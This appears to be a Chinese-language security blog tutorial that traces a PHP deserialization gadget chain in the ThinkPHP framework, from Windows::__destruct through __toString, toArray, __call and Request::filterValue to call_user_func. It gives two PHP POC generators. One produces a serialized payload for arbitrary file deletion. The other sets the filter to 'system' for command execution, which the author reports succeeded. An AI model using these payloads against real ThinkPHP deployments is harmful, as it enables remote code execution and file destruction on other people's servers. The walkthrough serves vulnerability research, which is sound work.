ThinkPHP反序列化链构造

预备知识

反序列化相关知识,了解魔法函数。

反序列化的常见入手点

destruct()、wakeup()、__tostring()–当一个对象被反序列化后又被当作字符串使用时会触发
__toString方法。

反序列化常用跳板

__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

反序列化常见终点

__call 调用不可访问或不存在的方法时被调用
call_user_func 任意代码执行点
call_user_func_array 任意代码执行点

POC利用链构造分析

当PHP脚本运行结束之前,所有的变量都会被销毁,因此析构方法在类被反序列化并实例化后必然
会被调用。这里也会以destruct为入口,所以我们在全局模式下搜索destruct()


跟踪removeFiles;

我们的files是可控的,我们可以通过这个利用点来造成任意文件删除,源码本身是不存在利用点的,
所以我们要想利用这个漏洞,我们就必须自己构造利用点

然后构造poc链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace think\process\pipes;
class Pipes{

}
class Windows extends Pipes {
private $files = [];
public function __construct()
{
$this->files=['删除文件路径'];
}
}
echo base64_encode(serialize(new Windows()));
?>

这里可以自行测试
我们在removeFiles看到了file_exists方法,它会将传入的参数作为字符串处理,会去调用toString方法,所以我们可以在全局下搜索toString
跟进到thinkphp/library/think/model/concern/Conversion.php的toString方法

跟踪
toJson(),发现调用了__toArray方法,主要是将该对象转成JSON字符串,然后继续跟踪到
__toArray()方法中

我们需要在toArray中找到一个满足$可控变量->方法($可控参数)的调用链。我们看到先去调用了getRelation(),我们追踪一下。
跟踪到thinkphp/library/think/model/concern/RelationShip.php

我们可以不让$name为空进入elseif,让$this->relation默认为空,而$name肯定不存在$this->Relation键值中,因此getRelation方法返回值为空,然后去调用getAttr()方法
跟踪到thinkphp/library/think/model/concern/Attribute.php


在476行去调用了getData方法,接着跟进getData方法


通过上面的分析我们可以知道$name不能为空,所以只能去执行第一个elseif的语句,$this->data可控$name为其键值。综上分析,toArray方法193行的$relation可控为$this->data[$name],$name为$this->append[$key]

认真观察Conversion、Attribute类,发现定义为trait:trait是一种为类似PHP 的单继承语言而准备的
代码复用机制。我们需要找到一个子类同时继承了Attribute类和Conversion类。


但是我们可以看到model类被定义为抽象类,无法进行实例化。
又从头整理了一下,理了理思绪,我们现在可控的变量有$files $data $append

实例化Pivot类完成下述调用链:
file_exists(new Pivot)->Model->Conversion、Attribute
->_toString->toJson->toArray->getAttr->$relation->visible($name)

也就是说我们并没有找到可以利用的代码执行点。
此时我们发现我们没有办法去利用visible方法,所以我们要利用到call方法,当调用一个不可访问
的方法(如未定义,或者不可见时), __call()就会被调用,所以我们就要找一个包含
call方法,但不存
在visible方法的类

$method为不存在的方法名visible ,$this->hook为类属性可控,可以进入第一个if分支,在下面的代码
中我们看到调用了array_unshift方法,array_unshift() 函数用于向数组插入新元素。新数组的值将被插
入到数组的开头,这样一来就造成了call_user_function_array没办法顺利的执行任意命令,但是可以
调用任意方法。我们可以去搜索一下call_user_func方法

发现在filterValue内存在call_user_func的方法,但是这里的values是不可控的,我们要寻找可以控制
的value,所以我们去查找看还有哪些方法调用了FilterValue,看到input方法调用

但是此时的$data还是不可控的。下面寻找什么方法利用了input

然后看到在948行的$this->get(),也就是$_GET[]传参,所以可控,但是$name还是对象不可控。然后
我们找含有param的方法,继续向上追溯看到了isAjax()方法,里面有一个$this->config,是完全可控

$this->config[‘var_ajax’]可控就意味着param函数中的$name可控。param函数中的$name可控就意
味着input函数中的$name可控,这一部分的利用链
_call()->isAjax()->param()->input()->filterValue()

从上面所分析的来看,下面图是整个的POC链构造的流程图

需要注意的点是我们需要自行构造利用点

然后生成payload,进行攻击,可以看到成功执行并打开记事本

POC构造代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["aa"=>["ww","ww"]];
$this->data = ["aa"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>